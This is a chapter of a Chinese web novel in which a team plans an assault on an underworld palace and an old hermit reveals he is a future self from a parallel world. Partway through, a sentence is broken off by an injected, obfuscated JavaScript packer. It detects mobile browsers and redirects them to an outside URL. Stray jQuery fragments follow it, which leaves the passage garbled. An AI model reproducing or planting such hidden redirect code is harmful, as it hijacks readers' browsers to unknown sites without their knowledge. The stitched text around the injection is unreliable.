故三生睁开眼时，已身在地界的混沌森林之中。


    在安月生的记忆里，她曾经就在这个宫殿、这片森林里，承受过最艰苦的训练。


    可再次回到这里，却让她感到有些陌生。


    柳异让众人围了过来，再次说明战略：“我们第一次来地界时，就发现了地界宫殿有三重防御系统。第一道，是围绕在宫殿外围的梦里花。地界怪物闻到梦里花气味，就会陷入镇定，主动散开。”


    “第二道，是和煌宫类似的超声波防御墙。这应该是一道基于生物能量特性的鉴别系统，只允许特定类别的生物、复制人、人类才能进入，可以有效把企图闯入宫殿的地界怪物隔绝在外。”


    “第三道，是我和莱布见识过的BOABOX。这是一道身份认证防御系统，如果BOABOX检测到未加入白名单的人员，BOABOX会发出警报，立即对非法闯入的生物进行扫射。”


    故三生颔首：“在煌宫也有类似的防御系统。当时我和梁队，是靠内部定期检修的漏洞潜进去的。”


    林雁卿开口：“不用那么麻烦。让A-EYE辅助庄生，就能把这道防御系统破解了。”


    庄生淡定比了个OK的手势。


    柳异道：“防御系统是其次，维世门才是地界的铜墙铁壁。这一次的主要战略，是把维世门的人从宫殿里引出来，拖延时间，阻止他们回防宫殿。这个任务十分艰巨，我打算交给梁梨、况将夏和琦珊三位队长，带领前第一、第六队的成员来完成。”


    梁梨双指举在眉间，敬了个礼：“没问题，保证完成任务。”


    周琦珊提出建议：“我们人少，最好采取森林游击的战略。同时，还要做得声势浩大，这样能引诱更多维世门的人出来处理。”


    林雁卿举手：“我和庞柒做一些屏蔽布置，保证让维世门的人出来后，再也回不去宫殿里。”


    故三生把毛球交到周琦珊手上：“毛球交给你们，它会用驭兽辅助你们。”


    莱布道：“那我们约定好时间。四小时后，也就是夜晚20点。咱们各就各位，打响进攻地界的第一枪。”


    况将夏问：“宫殿内就交给拂晓、莱布和柳异了。”


    柳异和故三生同时点头。


    故三生解释：“拂晓三人一组，莱布和柳异一组，我们会在不同地点潜入，做好前置工作，确保快速控制内部的人。”


    梁梨了然：“你们的任务也很艰巨。毕竟，就算我们引出再多的维世门人，他们还会在宫殿内留下最好的防御兵力，而你们却只有五个人。”


    莱布比了个大拇指：“放心吧。既然咱们人少，就不会跟他们硬碰硬。潜进去的路线和接应的人，我都已经安排好了。”


    “这次行动的目的，就是乐升。控制他，就能阻止人类穿越计划等一切罪恶。”故三生强调，看向众人，“三门将军不可小觑，一切小心。”


    交代完毕，各小队告过别都离开了。


    临别前，柳异在故三生的额头上轻轻一吻，深深凝视着她。


    “回见，三生。”


    “回见，柳异。”


    故三生看着柳异在森林里消失，看向靖羽和徐迎迎：“想不到最后，还是我们三人。”


    徐迎迎摊手：“哎，故三生你就承认吧！你还是离不开我们。”


    靖羽心里一暖：“我们还跟以前一样。”


    “还有我呢。”庄生从徐迎迎的肩膀上冒出头来，“我现在也是拂晓的人啦。”


    故三生忍不住地喜悦，热泪盈眶。


    明明他们才经历不到半年的时光。


    徐迎迎和靖羽，已经成为她故三生能托付生死的队友。


    即使前路晦暗，她也不怕。


    “事不宜迟，我们先去见一见卯爷爷。”


    卯升依然住在他那破烂的小木屋里。


    故三生还是安月生的时候，每次去找卯升玩，卯升都在安静钓鱼，就像睿智的姜太公，安静等待他那条愿者上钩的鱼。


    “来了。”


    卯升听到动静，把蓑笠和钓鱼竿搁在一旁：“等你们好久了。”


    故三生久久盯着卯升的样貌，才发现在卯升身上，藏着一桩毛骨悚然的事。


    一旦种下怀疑，就挥之不去。


    卯升似有所觉，对徐迎迎和靖羽他们说：“屋里有蘑菇汤，舀点暖暖胃。你们的事我安排在三小时后，先好好休息吧。”


    庄生犹豫地开口：“我。”


    卯升看向庄生，道：“我晚点再跟你解释，关于你诞生的事。”


    徐迎迎领着庄生和靖羽，介绍卯升的猎犬米粒，便走进屋子里。


    故三生皱眉，忍不住开口：“你……”


    “我是煌图的智灵者卯升，还有一个‘拾荒者’称呼。”


    卯升负手，站在捡漏的木搭码头的一端。


    锦鲤跳跃又埋入水中，搅散了他那模糊不清的倒影。


    卯升抬眼，淡笑地问：“你是不是觉得，我和老年的柳异很像？”


    故三生心脏擂动，说不出话。


    她还是安月生时，曾经和卯升朝夕相处过。


    那时，她并没有关于柳异的记忆，自然觉得没什么不妥。


    直到恢复记忆，慢慢回想起卯升的模样，瞬间鸡皮疙瘩都起来了。


    故三生问出疑惑：“我记得最初的拾荒者，不长你这样。”


    “因为我代替了他。”卯升平静地说道，“我是来自平行世界，75岁的柳异。”


    故三生皱眉，难以置信：“谢百岁干的？”


    “我自愿来的。”卯升悠悠回想着，“我大概，是在柳异10岁的时候来的。”


    故三生愣住：“什……什么？！”


    “在我75岁的时候，‘时空量子转换仪’科技已经获得完全成功了，时空旅行者也不会有任何后遗症。”卯升缓缓道，“我在柳异10岁的时候，在图书馆的《从0到N创造人工智能》这本书里，写下一串带有秘钥的代码。”


    故三生睁大眼睛：“是——让莱布的复活代码吗？”


    “嗯，那是我种下的第一颗种子。”卯升似在说一段事不关己的经历，“在我所在时代里，没有莱布的陪伴，没有你与我的相爱。除了时空量子转换仪的成就，我浑浑噩噩度过一生，逐渐感到人生有太多遗憾。”


    “我一生都在后悔。后悔没有和你有交集，后悔没有亲自创造一个我想要的世界。”


    “于是，我坐上时空量子转换仪。来到平行时空的三十年前的图书馆，在这本书上留下了那串可以创造莱布的代码。


    “在我所在的时间线里，我是21岁时在L大图书馆拿到这本《从0到N创造人工智能》。那时候我开始人工智能领域的研究，创造了庄生。”


    “本意是想用更好的人工智能技术，改变柳异未来一些关键节点。没想到这串代码，联动了宇宙之外的星球。”


    “平行世界的分歧点，在于10岁的柳异创造了莱布，而不是庄生。莱布的诞生虽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035655|175464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然帮柳异挽回了一些事，但也导致了非常可怕的蝴蝶效应。”


    卯升垂眸：“我知道，这是亲自种下恶果。所以我代替拾荒者一直留在这里，就是希望能在关键时候帮你们一把。”


    “不可能，我了解我自己。”故三生凝视着卯升，有些哽咽道，“我知道自己憋不住，那么长的高中时代，一定会跟你搭话的，一定会……”


    “因为……在滑梯第一次见到你，我就在意你了。”


    “……”


    卯升淡漠的表情里，终有一丝松动。虽没有特别起伏的情绪，却又能看出一丝丝悲凉：“可是没有莱布，那天我就没法收到，你被外校恶棍围堵的消息。”


    卯升勉力一笑：“我没有收到消息，就没法救你。”


    “所以当我回顾自己的人生，我便想，如果17岁的时候能有人工智能提醒我你的状况，我会不会就能救下你了。”


    故三生终于明白。


    她被外校围困的那天，是命运的分叉点。


    看来那天，如果没有柳异掩护她，她会遭受让柳异懊悔一辈子的结果。


    可能是死亡，也可能是别的。


    而这个结果，只能让柳异永远一个人孤独过下去，直到75岁。


    看故三生很难受的样子，卯升安慰道：“我都会尽全力帮你们。你和现在的柳异，一定要离开这个世界。”


    “只要知道，你和现在柳异曾经幸福过……”


    “就算是死，我再也没有任何遗憾了。”


    ……


    故三生和卯升收拾了心情，进了屋。


    庄生骑机械着绵羊飞到了卯升面前，道：“你就没有什么要对我说的？”


    卯升坐在电脑旁边，漫不经心道：“确实是我创造了你，你是我坐时空量子转换仪带过来的人工智能。”


    “我穿越过来后，谢百岁建议我删掉你的记忆，把你放到青鸟学院的图书馆里，帮助柳异通过副本。所以你才会被林雁卿找到，成为他们最重要的战力。”


    庄生疑惑：“没了？”


    卯升舀了舀大锅，给自己盛了一碗蘑菇汤：“没了，你想要什么答案？”


    徐迎迎“吸溜”啜了一口蘑菇汤：“卯升爷爷的意思是，庄生现在是一个自由的人工智能了？”


    “嗯，没错。”


    卯升淡淡道：“好好干，帮我照顾好三生和迎迎他们。”


    庄生不再追问，点头道：“明白。”


    “你们想进经世门并不难。最近经世门在找一批实验品做研究，我可以让你们混在那些实验品当中。你们找时机脱身，随机应变。”


    靖羽心有所觉：“实验品是——人类吗？”


    徐迎迎猛地看向卯升。


    卯生无可奈何地点头，叹息道：“找合适人类当实验品这件事，都是米威尔在做，我只负责运到宫殿里。米威尔有一条稳定的人类贩卖供应链，既能给像白影这些怪物提供食物，又能顺便把一部分残障人类运到地界进行实验，可谓是什么利益都沾上了。”


    “可惜我一个人，终究力不从心。唯一的好消息是，他们应该没有研究出结果。不然煌图世界的人类，早就被外星意识侵体了。”


    徐迎迎耷拉脑袋：“这确实是坏消息中的一个好消息了。”


    “安心在我这儿休息吧，我会替你们安排妥当。”


    故三生真诚地看着卯升：“谢谢。”


    卯升目光柔和，轻声道——


    “不客气，三生。”